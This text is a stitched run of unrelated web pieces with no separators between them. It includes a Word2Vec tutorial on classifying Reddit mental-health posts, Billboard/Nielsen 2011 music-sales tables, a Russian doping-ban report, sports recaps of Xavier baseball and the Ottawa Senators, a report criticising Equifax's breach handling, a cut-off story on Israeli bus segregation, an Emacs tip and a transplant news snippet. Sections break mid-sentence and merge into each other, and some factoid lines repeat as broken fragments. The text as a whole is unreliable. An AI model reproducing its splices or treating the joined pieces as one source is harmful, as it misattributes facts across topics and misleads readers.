model.most_similar(positive=['anxiety',"food"]) # [('ibs', 0.50205761194229126), # ('undereating', 0.50146859884262085), # ('boredom', 0.49470821022987366), # ('overeating', 0.48451068997383118), # ('foods', 0.47561675310134888), # ('cravings', 0.47019645571708679), # ('appetite', 0.46869537234306335), # ('bingeing', 0.45969703793525696), # ('binges', 0.44506731629371643), # ('crippling', 0.4397256076335907)] model.most_similar(positive=['bipolar'], negative=['manic']) # [('nos', 0.36669495701789856), # ('adhd', 0.36485755443572998), # ('autism', 0.36115738749504089), # ('spd', 0.34954413771629333), # ('cptsd', 0.34814098477363586), # ('asperger', 0.34269329905509949), ('schizotypal', 0.34181860089302063), ('pi', 0.33561226725578308), ('qualified', 0.33355745673179626), ('diagnoses', 0.32854354381561279)] model.similarity("anxiety","depression") #0.67751728687122414 model.doesnt_match(["child","autism","depression","rett","cdd","young"]) #'depression'
And to get the raw vector for a word:
model["depression"]
Extracting term similarities
To extract a pairwise similarity matrix, you can use the function extract_similarity_matrix. These are the data driven relationships between terms that the Wordfish infrastructure provides:
# Extract a pairwise similarity matrix wordfish_sims = extract_similarity_matrix(models["neurosynth"])
Classification
Finally, here is an example of predicting neurosynth abtract labels using the pubmed neurosynth corpus. We first want to load the model and meta data for neurosynth, meaning labels for each text:
model = load_models ( base_dir, "neurosynth" )[ "neurosynth" ] meta = get_meta ( base_dir )[ "neurosynth" ]
We can then use the featurize_to_corpus method to get labels and vectors from the model, and the build_svm function to build a simple, cross validated classified to predict the labels from the vectors:
vectors,labels = featurize_to_corpus(model,meta) classifiers = build_svm(vectors=vectors,labels=labels,kernel="linear")
The way this works is to take a new post from reddit with an unknown label, use the Word2vec word embeddings vector as a lookup, and generating a vector for the new post based on taking the mean vector of word embeddings. It’s a simple approach, could be improved upon, but it seemed to work reasonably well.
Classification of Disorder Using Reddit
A surprisingly untapped resource are Reddit boards, a forum with different “boards” indicating a place to write about topics of interest. It has largely gone unnoticed that individuals use Reddit to seek social support for advice, for example, the Depression board is predominantly filled with posts from individuals with Depression writing about their experiences, and the Computer Science board might be predominantly questions or interesting facts about computers or being a computer scientist. From the mindset of a research scientist who might be interested in Reddit as a source of language, a Reddit board can be thought of as a context. Individuals who post to the board, whether having an “official” status related to the board, are expressing language in context of the topic. Thus, it makes sense that we can “learn” a particular language context that is relevant to the board, and possibly use the understanding of this context to identify it in other text. Thus, I built 36 word embedding models across 36 Reddit boards, each representing the language context of the board, or specifically, the relationships between the words. I used these models to look at context of words across different boards. I also build one master “reddit” model, and used this model in the classification framework discussed previously.
For the classification framework, it was done for two applications - predicting reddit boards from reddit posts, and doing the same, but using the neurosynth corpus as the Word2Vec model (the idea being that papers about cognitive neuroscience and mental illness might produce word vectors that are more relevant for reddit boards about mental illness groups). For both of these, the high level idea is that we want to predict a board (grouping) based on a model built from all of reddit (or some other corpus). The corpus used to derive the word vectors gives us the context - meaning the relationships between terms (and this is done across all boards with no knowledge of classes or board types), and then we can take each entry and calculate an average vector for it based on averaging the vectors of word embeddings that are present in the sentence. Specifically we:
1) generate word embeddings model (M) for entire reddit corpus (resulting vocabulary is size N=8842) <br> 2) For each reddit post (having a board label like "anxiety":<br> - generate a vector that is an average of word embeddings in M<br>
Then for each pairwise board (for example, “anxiety” and “atheist”
1) subset the data to all posts for “anxiety” and “atheist”
2) randomly hold out 20% for testing, rest 80% for training
3) build an SVM to distinguish the two classes, for each of rbf, linear, and poly kernel
4) save accuracy metrics
Results
How did we do?
Can we classify reddit posts?
The full result has accuracies that are mixed. What we see is that some boards can be well distinguished, and some not. When we extend to use the neurosytnh database to build the model, we don’t do as well, likely because the corpus is much smaller, and we remember from the paper that larger corpus tends to do better.
Can we classify neurosynth labels?
A neurosynth abstract comes with a set of labels for terms that are (big hand waving motions) “enriched.” Thus,given labels for a paragraph of text (corresponding to the neurosynth term) I should be able to build a classifier that can predict the term. The procedure is the same as above: an abstract is represented as its mean of all the word embeddings represented. The results are also pretty good for a first go, but I bet we could do batter with a multi-class model or approach.
Do different corpus provide different context (and thus term relationships?)
This portion of the analysis used the Word2Vec models generated for specific reddit boards. Before I delved into classification, I had just wanted to generate matrices that show relationships between words, based on a corpus of interest. I |
Bennett & G 5,468,000 2 Adele 14,247,000 3 E.T. / Katy Perry 4,829,000 3 Rihanna 13,918,000 4 Moves Like Jagger / Maroon 5 feat Christina Aguilera 4,111,000 4 Glee Cast 13,580,000 5 Give Me Everything / Pitbull feat Ne-yo,Afrojack 3,875,000 5 Lady Gaga 12,768,000 6 Pumped Up Kicks / Foster the People 3,843,000 6 Lil Wayne 12,335,000 7 Someone Like You / Adele 3,750,000 7 LMFAO 10,507,000 8 F**k You (Forget You) / Cee Lo Green 3,724,000 8 Bruno Mars 10,443,000 9 Super Bass / Nicki Minaj 3,608,000 9 Eminem 9,264,000 10. Born This Way / Lady Gaga 3,476,000 10. Chris Brown 8,770,000
2011 TOP TEN SELLING DIGITAL TRACKS 2011 TOP TEN SELLING DIGITAL ALBUMS (1/3/2011 – 1/1/2012) (1/3/2011-1/1/2012) Title/Artist Units Sold Artist Units Sold 1 Rolling In The Deep / Adele 5,756,000 1 21 / Adele 1,801,000 2 Party Rock Anthem / LMFAO feat. Lauren Bennett & G 5,006,000 2 Born This Way / Lady Gaga 877,000 3 Moves Like Jagger / Maroon 5 feat Christina Aguilera 4,012,000 3 Sigh No More / Mumford & Sons 761,000 4 Give Me Everything / Pitbull feat Ne-yo,Afrojack 3,793,000 4 Watch The Throne/ Jay Z & Kanye West 608,000 5 Pumped Up Kicks / Foster the People 3,753,000 5 Tha Carter IV / Lil’ Wayne 603,000 6 Someone Like You / Adele 3,750,000 6 Mylo Xyloto / Coldplay 573,000 7 E.T. / Katy Perry 3,424,000 7 Take Care / Drake 467,000 8 Sexy And I Know It/ LMFAO 3,355,000 8 Christmas / Michael Buble 348,000 9 Born This Way / Lady Gaga 3,346,000 9 Teenage Dream / Katy Perry 299,000 10. Super Bass / Nicki Minaj 3,005,000 10. Torches / Foster The People 294,000
TOP TEN ALBUMS DURING 2011 HOLIDAY SEASON TOP TEN DIGITAL SONGS DURING HOLIDAY SEASON (Based on album sales from 11/7/2011-1/1/2012) (Based on digital song sales from 11/7/2011-1/1/2012) Title/Artist Units Sold Title/Artist Units Sold 1 Christmas / Michael Buble 2,223,000 1 Sexy And I Know It / LMFAO 1,873,000 2 21 / Adele 1,507,000 2 We Found Love / Rihanna feat Calvin Harris 1,703,000 3 Take Care / Drake 1,246,000 3 It Will Rain / Bruno Mars 1,465,000 4 Under The Mistletoe/ Justin Bieber 1,035,000 4 Good Feeling / Flo Rida 1,272,000 5 Here And Now / Nickelback 586,000 5 One That Got Away / Katy Perry 1,263,000 6 Now 40 / Various 550,000 6 Someone Like You / Adele 1,068,000 7 Talk That Talk / Rihanna 514,000 7 Ni**as In Paris/ Jay-Z & Kanye West 1,005,000 8 Concerto:Live Central Park / Andrea Bocelli 460,000 8 Party Rock Anthem / LMFAO feat. Lauren Bennett 996,000 9 Own The Night / Lady Antebellum 455,000 9 Moves Like Jagger / Maroon 5 feat Christina Aguilera 993,000 10. Mylo Xyloto / Coldplay 454,000 10 Without You / David Guetta feat Usher 904,000
2011 TOP TEN SEASONAL ALBUMS 2011 TOP TEN INTERNET ALBUMS (1/3/2011-1/1/2012) (1/3/2011-1/1/2012) Title/Artist Units Sold Title/Artist Units Sold 1 Christmas / Michael Buble 2,452,000 1 21 / Adele 321,000 2 Under The Mistletoe/ Justin Bieber 1,245,000 2 Christmas / Michael Buble 168,600 3 Heavenly Christmas / Jackie Evancho 310,000 3 Duets II / Tony Bennett 97,200 4 Glee: The Music, The Christmas / Glee Cast 306,000 4 Sigh No More / Mumford & Sons 96,700 5 Very She & Him Christmas / She & Him 288,000 5 Born This Way / Lady Gaga 77,800 6 My Christmas / Andrea Bocelli 247,000 6 19 / Adele 72,800 7 The Gift / Susan Boyle 233,000 7 Dream With Me / Jackie Evancho 72,300 8 Christmas Symph. / Mannheim Steamroller 184,000 8 King Of Limbs/ Radiohead 71,300 9 Noel / Josh Groban 178,000 9 Il Volo / Il Volo 63,000 10. Charlie Brown Christmas / Vince Guaraldi 170,000 10. Mylo Xyloto / Coldplay 60,700
2011 TOP TEN VINYL ALBUMS 2011 TOP TEN VINYL ARTISTS (1/3/2011-1/1/2012) (Based on vinyl album sales from 1/3/2011-1/1/2012) Title/Artist Units Sold Artist Units Sold 1 Abbey Road / Beatles 41,000 1 Radiohead 64,000 2 Helplessness Blues / Fleet Foxes 29,700 2 Black Keys 58,200 3 Bon Iver / Bon Iver 27,200 3 Bon Iver 47,100 4 Sigh No More / Mumford & Sons 26,800 4 Beatles 43,300 5 King Of Limbs / Radiohead 20,800 5 Fleet Foxes 42,600 6 21 / Adele 16,500 6 Tom Waits 30,200 7 For Emma Forever Ago / Bon Iver 16,200 7 Wilco 30,100 8 Whole Love / Wilco 14,900 8 Jimi Hendrix 29,700 9 Brothers / Black Keys 14,200 9 Bob Dylan 27,400 10. El Camino / Black Keys 13,800 10. Nirvana 27,000
2011 TOP TEN PHYSICAL ALBUMS (Based on CD, Cassette and LP album sales from 1/3/2011-1/1/2012) Title/Artist Units Sold 1 21 / Adele 4,023,000 2 Christmas / Michael Buble 2,104,000 3 My Kinda Party / Jason Aldean 1.326,000 4 Tha Carter IV / Lil’ Wayne 1.314,000 5 Born This Way / Lady Gaga 1,223,000 6 Under The Mistletoe/ Justin Bieber 1,094,000 7 Own The Night/ Lady Antebellum 966,000 8 4 / Beyonce 845,000 9 Take Care / Drake 780,000 10. Speak Now / Taylor Swift 774,000
BILLBOARD’S MOST PLAYED TITLES AND ARTISTS, BASED ON NIELSEN BDS DATA
*for the 2011 Calendar Year
Top 10 Most Played Songs Top 10 Artist Airplay Title/Artist Detections Artist Detections 1 Rolling In The Deep / Adele 658,000 1 Katy Perry 1,457,000 2 Give Me Everything / Pitbull feat Ne-yo,Afrojack 620,000 2 Bruno Mars 1,440,000 3 Party Rock Anthem / LMFAO feat. Lauren Bennett & G 571,000 3 Lady Gaga 1,261,000 4 E.T. / Katy Perry 526,000 4 P!nk 1,182,000 5 Firework / Katy Perry 509,000 5 Rihanna 1,127,000 6 F**kin’ Perfect / P!nk 501,000 6 Adele 1,118,000 7 Grenade / Bruno Mars 483,000 7 Taylor Swift 1,094,000 8 Moves Like Jagger / Maroon 5 feat Christina Aguilera 465,000 8 Black Eyed Peas 955,000 9 Just Can’t Get Enough / Black Eyed Peas 457,000 9 Lady Antebellum 916,000 10. Last Friday Night (T.G.I.F.) / Katy Perry 450,000 10. Britney Spears 900,000
Top 10 Holiday Songs Airplay Nielsen BDS: Top 10 Artists - Streams Title/Artist Detections Artist Streams 1 Rockin’ Around The Christmas/Brenda Lee 40,000 1 Lady Gaga 135,606,000 2 A Holly Jolly Christmas / Burl Ives 38,900 2 Rihanna 131,351,000 3 Jingle Bell Rock / Bobby Helms 38,000 3 Nicki Minaj 126,244,000 4 Feliz Navidad / Jose Feliciano 36,800 4 Adele 123,642,000 5 The Christmas Song / Nat King Cole 36,300 5 Taylor Swift 123,585,000 6 All I Want For Christmas Is…/Mariah Carey 34,000 6 Eminem 114,023,000 7 It’s The Most Wonderful…/Andy Williams 33,500 7 Beyonce 104,002,000 8 Happy X-Mas(War Is Over)/ John Lennon 31,500 8 Britney Spears 82,738,000 9 Do They Know It’s Christmas / Band Aid 30,200 9 Katy Perry 78,789,000 10. White Christmas / Bing Crosby 28,500 10. LMFAO 71,371,000
Nielsen BDS: Top 10 Streamed Songs Nielsen BDS: Top 10 Music Video Streams Title/Artist Streams Title/Artist Streams 1 Super Bass / Nicki Minaj 84,892,000 1 Super Bass / Nicki Minaj 70,956,000 2 Party Rock Anthem / LMFAO feat. Lauren Bennett & G 71,371,000 2 Party Rock Anthem/ LMFAO feat. Lauren Bennett & 56,428,000 3 Rolling In The Deep / Adele 53,173,000 3 Sexy And I Know It/ LMFAO 45,800,000 4 Sexy And I Know It/ LMFAO 50,196,000 4 Someone Like You / Adele 31,196,000 5 Someone Like You / Adele 40,853,000 5 Rolling In The Deep / Adele 30,064,000 6 Born This Way / Lady Gaga 36,580,000 6 Love You Like… /Selena Gomez & The Scene 26,124,000 7 Look At Me Now/ Chris Brown feat Lil Wayne & Busta 33,909,000 7 Born This Way / Lady Gaga 25,130,000 8 Give Me Everything / Pitbull feat Ne-yo,Afrojack 32,616,000 8 Look At Me Now/ Chris Brown feat Lil Wayne & 24,218,000 9 On The Floor/ Jennifer Lopez feat Pitbull 31,909,000 9 We Found Love / Rihanna feat Calvin Harris 22,819,000 10. Love You Like… /Selena Gomez & The Scene 30,928,000 10. On The Floor/ Jennifer Lopez feat Pitbull 21,960,000
BILLBOARD’S TOP TITLES & ARTISTS OF THE NIELSEN SOUNDSCAN ERA
TOP TEN SELLING ARTISTS TOP TEN SELLING ALBUMS (Based on album sales from 1991-1/1/2012) (1991 – 1/1/2012) Title/Artist Units Sold Artist Units Sold 1 Garth Brooks 68,561,000 1 Metallica / Metallica 15,735,000 2 Beatles 63,299,000 2 Come On Over / Shania Twain 15,513,000 3 Mariah Carey 53,612,000 3 Jagged Little Pill / Alanis Morissette 14,714,000 4 Metallica 53,170,000 4 Millennium / Backstreet Boys 12,168,000 5 Celine Dion 51,492,000 5 Beatles 1 / Beatles 11,985,000 6 George Strait 43,310,000 6 Soundtrack / Bodyguard 11,829,000 7 Eminem 41,166,000 7 Supernatural / Santana 11,772,000 8 Tim McGraw 40,169,000 8 Human Clay / Creed 11,574,000 9 Alan Jackson 38,860,000 9 No Strings Attached / N Sync 11,122,000 10. Pink Floyd 37,228,000 10. Falling Into You / Celine Dion 10,790,000
TOP TEN SELLING DIGITAL SONGS TOP TEN SELLING DIGITAL ALBUMS (7/4/2004-1/1/2012) (7/4/2004 – 1/1/2012) Title/Artist Units Sold Artist Units Sold 1 I Gotta Feeling / Black Eyed Peas 7,688,000 1 21 / Adele 1,801,000 2 Poker Face / Lady Gaga 6,529,000 2 Sigh No More / Mumford & Sons 1,103,000 3 Just Dance / Lady Gaga feat. Colby O’Donis 6,458,000 3 Recovery / Eminem 1,081,000 4 Boom Boom Pow / Black Eyed Peas 6,267,000 4 Fame / Lady Gaga 1,010,000 5 Low/ Flo Rida Feat. T-Pain 6,152,000 5 Born This Way / Lady Gaga 877,000 6 Tik Tok / Ke$ha 6,149,000 6 Viva La Vida / Coldplay 841,000 7 Rolling In The Deep / Adele 5,921,000 7 Fearless / Taylor Swift 785,000 8 I’m Yours / Jason Mraz 5,919,000 8 Only By The Night/ Kings Of Leon 710,000 9 Hey, Soul Sister / Train 5,741,000 9 Soundtrack / Twilight 682,000 10. Dynamite / Taio Cruz 5,719,000 10. Speak Now / Taylor Swift 681,000
TOP TEN SELLING DIGITAL ARTISTS (Based on digital track sales from 7/4/2004-1/1/2012) Artist Units Sold 1 Rihanna 47,571,000 2 Black Eyed Peas 42,405,000 3 Eminem 42,290,000 4 Lady Gaga 42,078,000 5 Taylor Swift 41,821,000 6 Katy Perry 37,620,000 7 Lil’ Wayne 36,788,000 8 Beyonce 30,439,000 9 Kanye West 30,242,000 10. Britney Spears 28,665,000
2011 Year-End Factoids
For the first time, total music purchases reached the 1.6 Billion mark for the year.
mark for the year Overall Album sales ( including Albums and Track Equivalent Album sales ) were up 3.2% compared to 2010.
) were up 3.2% compared to 2010. Total Album sales were up for the first time since 2004 (1.3%) with sales totaling 330.6 million, compared to 326.2 million in 2010.
There were 228 million physical album sales in 2011, a decline of 5% over 2010. This is significantly less than the 19.5% decline in 2010.
During 2011 there were 76,875 new albums released that sold at least one copy, that’s up slightly from 2010 when there were just over 75,000 new albums released. The nearly 77,000 new album releases accounted for 113.2 million sales - or 34% of ALL album sales for the entire year. The top 1,500 best selling new album releases accounted for over 100 million (nearly 90%) of the 113 million sales generated by new releases.
Similar to a year ago, there were 11 albums that sold 1 million or more copies and 35 albums that sold 500,000 – 999,999 copies.
While there were a number of album genres that had saw growth over the previous year, 3 smaller genres experienced double digital growth in 2011: Jazz, New Age and Electronic grew by 26%, 16% and 15%, respectively.
For the fourth consecutive year, more vinyl albums were purchased than any other year in the history of Nielsen SoundScan. In 2011, vinyl album sales reached 3.9 million in sales, shattering the previous record of 2.8 million LP album sales in 2010. Note that 67% of all vinyl albums were purchased at an independent music store during 2011. Vinyl album sales in 2011 were up 36% compared to 2010 and accounted for 1.2% of all album sales. Nearly three out of every four vinyl albums purchased in 2011 were a Rock album.
in the history of Nielsen SoundScan.
Digital Factoids:
For the first time, digital music sales are larger than physical sales; accounting for 50.3% of all music purchases in 2011.
Digital track sales set a new record with 1.27 billion sales in 2011; an increase of 100 million sales (8.4%) over 2010.
Digital album sales exceeded 100 million for the first time with a new all-time high of 103.1 million sales (up from 86.3 million in 2010); an increase of nearly 20%. Digital album sales accounted for nearly 1 out of every 3 album purchases (31%) in 2011; compared to 26% in 2010, 20% in 2009, 15% in 2008, 10% in 2007 and 5.5% in 2006. Nearly all digital album genres had a positive year in 2011; except for Soundtracks which were down just over 2% compared to 2010. While total digital album growth was 20% in 2011, there were a number of digital album genres that experienced even higher digital growth. Rap and Electronic digital album sales -> up 42% Country and R&B digital album sales -> up 27% Latin digital album sales -> up 23% For the last week of 2011 (week ending 1/1/2012), digital album sales set a new high with sales of 3.5 million.
Digital track sales for Pop, Rock, R&B/Hip Hop and Country genres all had double digital growth in 2011; 24%, 23%, 20% and 11% respectively.
For the first time, a digital song had more than five million downloads in a calendar year; Adele’s “Rolling In The Deep” sold 5.8 million downloads and LMFAO’s “Party Rock Anthem” sold 5.5 million.
For the first time, more than 100 Digital Songs (112) exceeded the 1 million sales mark for the year.
In 2011 there were 38 different digital songs with sales that exceeded two million (compared to 37 in 2010, 31 in 2009, 19 in 2008 and nine in 2007).
In 2011, eight different artists broke the 10 million digital track sales mark.
Best Seller Album Factoids:
Adele’s 21 finishes the year as the biggest selling album with just more than 5.8 million sales. This is the first time since 2004 that an album sold more than 5 million copies in a year. Usher’s album Confessions sold 8 million copies in 2004. Adele held top honors in many sales categories this year and became the first artist to claim the top spot for Best Selling Artist, Album and Digital Song in the same year. Below is a listing of Adele’s top honors for 2011: Best Selling Artist based on Album sales – 6.7 million Best Selling Album ( 21 ) – 5.8 million Best Selling Physical Album ( 21 ) – 4.0 million Best Selling Digital Album ( 21 ) – 1.8 million Best Selling Digital Album of All Time ( 21 ) – 1.8 million Best Selling Internet Album ( 21 ) – 321,000 Best Selling Digital Song (“Rolling In The Deep”) – 5.8 million Best Selling Digital Track (“Rolling In The Deep”) – 5.7 million Most Played Song on the Radio (“Rolling In The Deep”) – 658,000 detections
finishes the year as the biggest selling album with just more than 5.8 million sales. This is the first time since 2004 that an album sold more than 5 million copies in a year. Usher’s album sold 8 million copies in 2004.
For the second straight year, Lady Antebellum finishes the year as the biggest selling group of 2011 with more than 2.1 million album sales.
Metallica’s self titled album remains on top as the best selling album in the Nielsen SoundScan era with more than 15.7 million album sales; more than 200,000 ahead of Shania Twain’s Come On Over.
. Garth Brooks continues to be comfortably the best selling artist in the Nielsen SoundScan era with more than 68.5 million album sales; 5 million sales ahead of the Beatles.
Rihanna takes over the top spot as the biggest selling digital artist of all time with digital track sales totaling more than 47.5 million.
The Columbia label group ends the year with the largest album market share among all label groups with a 9.34 share.
Most Played and Streamed Factoids:
Katy Perry ends the year as the most played artist over the airways in 2011 with more than 1.4 million spins; edging out Bruno Mars by 17,000 spins.
Seven out of the top 10 played artists in 2011 all had more than 1 million detections for the year.
There were more than 20.5 Billion streams captured by Nielsen BDS during 2011 from their panel of streaming services.
streams captured by Nielsen BDS during 2011 from their panel of streaming services. Lady Gaga claimed the top spot as the most streamed artist in 2011 with more than 135 million streams.
Nicki Minaj’s “Super Bass” was the most streamed song and music video in 2011 with 84.9 million audio streams and 71 million video streams.
Holiday Season Factoids: (11/7 – 1/1/12).
Overall album sales during the 2011 holiday season were down 4.6% with sales of 75 million sales.
Overall track sales during the 2011 holiday season were up just about 1% with sales totaling 216 million.
Similar to the two previous years, album sales during the “holiday season” accounted for 23% of all album sales for the year.
Michael Buble’s Christmas album compiled more than 2.4 million sales during the last 10 weeks of the year and wound up being the 2 nd biggest selling album in 2011 behind Adele’s 21.
album compiled more than 2.4 million sales during the last 10 weeks of the year and wound up being the 2 biggest selling album in 2011 behind Adele’s. Michael Buble’s Christmas album was also the biggest selling album during the 2011 holiday season (2.2 million sales) as well as the biggest holiday album since Josh Groban’s Noel (2007) that sold 3.7 million copies.
Strata Factoids:"The Russian Weightlifting Federation (RWF), on the basis of RUSADA decisions, decided to suspend six athletes for doping violations," the country's anti-doping agency said on its website on Tuesday.
Evgeny Kolomiets and Yury Selyutin were banned for 10 years, starting in October 2013, for repeated abuse.
Mikhail Reznitchenko, Tejmur Alekserov and Dmitry Srybnyi were suspended for two years while Oleg Musokhranov was banned for three months, starting on Nov. 7, 2013.
Cyclists Elena Bocharinkova and Yana Bezrukova were also suspended for two years from July 10, 2013, RUSADA said without elaborating.
In April the RWF banned eight weightlifters for breaking anti-doping regulations.
Denis Shiryakov was suspended for life and Maxim Matveyev for four years while six others were banned for up to two years.
Russia has been forced to step up its fight against doping in recent months after being criticised by international anti-doping officials for being too soft on drug cheats.
Several years ago the International Weightlifting Federation threatened to ban the country from major championships after a number of Russians failed drug tests.The Xavier Musketeers had their backs against the wall on Sunday. After falling to the Oklahoma Sooners on Friday in their opening round game, the Musketeers would have to rattle off four straight wins to win the Louisville Regional.
On Saturday, they beat Radford. That’s one.
Sunday afternoon, they had a rematch with the Sooners. The Musketeers bludgeoned them, 11-0. That’s two.
Standing between Xavier and a Super Regional appearance? The Louisville Cardinals, twice.
Sure, the odds were against the Musketeers, but they had already gotten halfway there.
After three scoreless innings each way, the Musketeers cracked Louisville starting pitcher Nick Bennett, as Nate Soria singled home a pair to get Xavier on the board.
The lead would be short-lived. In the bottom of the fourth, Louisville’s Josh Stowers put the Cardinals ahead with a three-run home run.
Ethan Schmidt led off the fifth inning with a solo home run to tie the game back up. Then, in the sixth inning, Soria gave the Musketeers the lead back with another RBI single.
The lead would be short-lived. In the bottom of the sixth, Louisville plated three runs to take a 6-4 lead over the Musketeers.
Xavier kept fighting, though, plating three of their own in the top of the seventh to hop back on top with a 7-6 lead.
The lead would be short-lived. Louisville scored two more in the seventh to give them an 8-7 lead. That would ultimately be the final score, ending Xavier’s season.
STATSIn this week’s five thoughts, we examine the possibility of Matt Duchene to Ottawa, roster decisions ahead of the regular season, plus more. Let’s begin!
Is Matt Duchene the Right Fit?
The hot topic in Ottawa over the past few days has been Matt Duchene, as the Sens are reported to be in hot pursuit of the star forward. Recent word is that Guy Boucher wants him on the team as well, and as we know with recent signings (Pyatt, Thompson, etc.), he’s had a large influence on Dorion’s moves.
But do the Sens even need Matt Duchene? I don’t really think so.
Although it could potentially propel the forward group to new heights, his playing style mirrors that of another Senator: Kyle Turris. Taking a look at their HERO charts, which are a good general measure of a player’s offensive and defensive impact, the two are very similar.
Although Duchene has scored more points over the course of his career (with 2016-17 as the exception), his impact on offence and defence has been very similar to Turris. The similarities don’t stop there either, as their passing data is also a near exact match, with Duchene having a slightly higher tendency to shoot the puck. Using playing styles (the same that was used in last week’s post), both are classified under ‘balanced’. Maybe this move isn’t the right path to take.
Cody Ceci’s Deployment
Unless he gets dealt for Duchene, it appears that Cody Ceci will be the Sens’ #1 defenceman to start the season. Even if you’re a fan of Ceci, that’s probably not a sentence you’d like to hear. Truth is, his stats have been middling over the last few seasons, even when accounting for his heavy matchups and defensive usage, and he continues to get even more opportunities.
Through two preseason games, Ceci’s had a offensive zone start percentage of 30%, which is really low. This continues to baffle me, as he’s been perceived his entire career as an offensively inclined player, using his skating and hard shot as his biggest weapons. Constantly placing him in the defensive zone suppresses those traits, and his struggle to clear the puck has made it difficult for him to use his full skillset.
Truth is, I really want Ceci to succeed, and I’m sure the organization does as well. With the NHL season still two weeks away, these remaining four preseason games are the perfect opportunity to do a bit of experimenting. I’d like to see Boucher start sheltering Ceci a bit more, and see how it works. I bet we’d see a higher overall impact.
The Sens appear to have another legitimate prospect on their hands, and this time it’s a goalie. Marcus Hogberg has been perfect so far this preseason (16 saves on 16 shots), and going back to the rookie tournament, he allowed only two goals on 47 shots (SV% of.957).
The problem, however, is that the Sens have a bit of a goalie logjam. If he continues to prove that he’s deserving of the AHL starter role, he’d be prevented by the recently signed Danny Taylor, who’s also looked good in preseason action. He’s even barricaded from taking the AHL backup role, with Chris Driedger and Andrew Hammond both likely candidates for the spot.
Management has hinted that sending Hogberg to the ECHL is a definite possibility, as no matter what they want to ensure he gets playing time. Although this may be a good idea to work around the situation, I think this would be playing Hogberg below his capabilities.
He’s just coming off a season where he put up a.932 SV% in the SHL, a league that’s comparable in talent to the AHL, if not higher. Sending Hogberg to the ECHL would be playing him below his skill level, which ultimately may not be good for his development. Give him time in Belleville, as it not only would the competition be more suitable, but he’d have an opportunity to work with Kory Cooper, who was recently hired solely for the purpose of developing goalies at the AHL level (a position that not every team has).
Derick Brassard’s Placeholder
Derick Brassard is fortunately getting closer to returning to regular action. Yesterday he was briefly waring the blue ‘no contact’ jersey (although later switched back), and has been ahead of his expected recovery schedule. Big news for a team whose forward depth has been slowly depleting with injuries (Dzingel, Paul, White). This doesn’t necessarily mean he’ll be ready for the season opener, and a couple prospects are getting a look at making the NHL roster.
Those two players are Filip Chlapik and Logan Brown, two high picks who have impressed the most from the rookie tournament and training camp. Chlapik has been getting time next to Pageau and Burrows on the third line, which is a good sign that he might have the inner edge. I pegged him as a dark horse to make the opening roster, so it’s glad to see him coming through with his potential.
The big question however, will be if Guy Boucher will be comfortable enough to play them. He’s been extremely hesitant to give prospects any ice time at all, instead picking the veterans. With Chris VandeVelde looming on a PTO, Boucher’s decision will be very telling of his style of roster decisions. Pierre Dorion said half-jokingly in a recent interview that “[Boucher’s] ideal roster would be only 35-year-olds”, so it will be interesting to see whether Chlapik, who has been the most impressive forward prospect in training camp, a legitimate chance to make the roster.
The Wallet is Open
Eugene Melnyk has made it clear in the past: when the time is right, he will open the wallet to bring the Sens out of their budgetary restrictions. The green light was given back in February, although it’s important that we acknowledge the results.
At the beginning of the season in 2015, the Sens’ cap payroll came to roughly $64.8 million. A year later, that rose to $67.0 million. Now? The Sens have a cap hit of $69.3 million, good for 18th highest in the league. It’s not as if the Sens are now amongst the league’s biggest spenders, but it’s still much higher than where it’s been for most of the last decade.
Although the way the cash has been used is debatable, it’s worth acknowledging that this is happening, and that the organization knows that now is the time to win. This is something that fans have been calling for for years, and with Erik Karlsson still in his prime years, it’s great to see them finally taking advantage.Equifax and other data brokers practice “lackadaisical” cybersecurity and “negligently” compromise the long-term safety and security of consumer information, as shown by the breach of 143 million U.S. credit records managed by Equifax, according to a new report.
The Atlanta-based company disclosed on Sept. 7 that criminals exploited a U.S. website application vulnerability to gain access to certain files from mid-May through July 2017.
“Data brokers continue to jeopardize the long-term safety and security of the consumers who are trapped in their dragnet surveillance and incessantly manipulated by their demographic and psychographic Big Data algorithms,” James Scott, co-founder and senior fellow of the Institute for Critical Infrastructure Technology, a Washington-based cybersecurity think tank, wrote in a report published on Wednesday.
“To them, information is a commodity and people are seen as data points instead of human beings,” he said in the report. “Data brokers continue to practice lackadaisical cybersecurity because they fail to connect the information lost in countless breaches to the lives impacted by adversaries’ campaigns. Equifax is yet another negligent data broker that has been compromised due to its failure to secure data according to its value, promote cyber-hygiene best practices, and implement layered defenses.”
Early 2017 monitoring of now-defunct Deep Web markets shows that Experian and TransUnion might also be compromised, meaning the Equifax breach may not be the last data broker compromised this year, Mr. Scott said.
“Equifax has proven itself to be a compromised, irresponsible data custodian,” he said. “However, Experian and TransUnion may be just as vulnerable, irresponsible and compromised.”
But Equifax knowingly waited six weeks to inform 44% of the American population that their credit records were compromised by an unknown adversary, Mr. Scott noted.
“It is difficult to imagine how Equifax could have managed the public disclosure and incident response more tumultuously following the compromise of sensitive information of nearly half the populations of the United States and the United Kingdom,” he said. “Equifax delayed publicly disclosing the breach to consumers for nearly six months — likely in an attempt to manage negative public response, mitigate reputational harm and pre-empt litigation.”
Equifax’s inability to fix the vulnerability with a readily available patch will cost the organizations millions or billions of dollars and will put the 44% of affected consumers at risk of identity theft, fiscal fraud or medical account compromise for at least the next decade, Mr. Scott said.
“Worse, because Equifax delayed disclosure and botched incident response, consumers are severely unprepared for the onslaught of social engineering campaigns and exploitative attacks that cybercriminals and techno-mercenaries are preparing to launch,” he said.
On Sept. 15, Equifax announced that its chief information officer and chief security officer were retiring and were immediately replaced by interim staffers. The company also said its internal investigation is ongoing and it continues to work closely with the Federal Bureau of Investigation in its investigation, according to the press release.
"Since the Equifax breach announcement, TransUnion has been scouring our systems globally to make sure we remain safe as we do any time we learn of a potential threat," the company said in an emailed statement. "Based on the analysis we’ve conducted to date, we have not uncovered any evidence of a similar cyber event."
Equifax and Experian could not be immediately reached for comment.Story highlights Women sit in the back portion of the bus because ultra-Orthodox avoid mingling of sexes
Tanya Rosenblit was first passenger that morning on bus and took a seat behind the driver
Rosenblit: 'I live in an Israeli democracy, people cannot tell me where to sit on a bus'
Supreme Court: Involuntary separation between sexes on public buses against the law
When Tanya Rosenblit boarded an inter-city bus bound for |
work correctly. If you can write an assertion to detect the error, bug-hunter can still find the problem.
The example Malabarba gives is figuring out how cl.el is getting loaded. To do that, you just run
M-x bug-hunter-init-file RET (featurep 'cl) RET
and bug-hunter will tell you where it’s getting loaded. That very issue has come up with my own init.el file so I ran that example and discovered that package-initialize was loading the library. That’s very nice indeed. Malabarba gives other examples in the README at the link.The recipient of the world's first penis transplant is reportedly going to become a father.
Just six months after the 21-year-old man's surgery was successful, his surgeon said his girlfriend says she is pregnant, the South African outlet News24 reported.
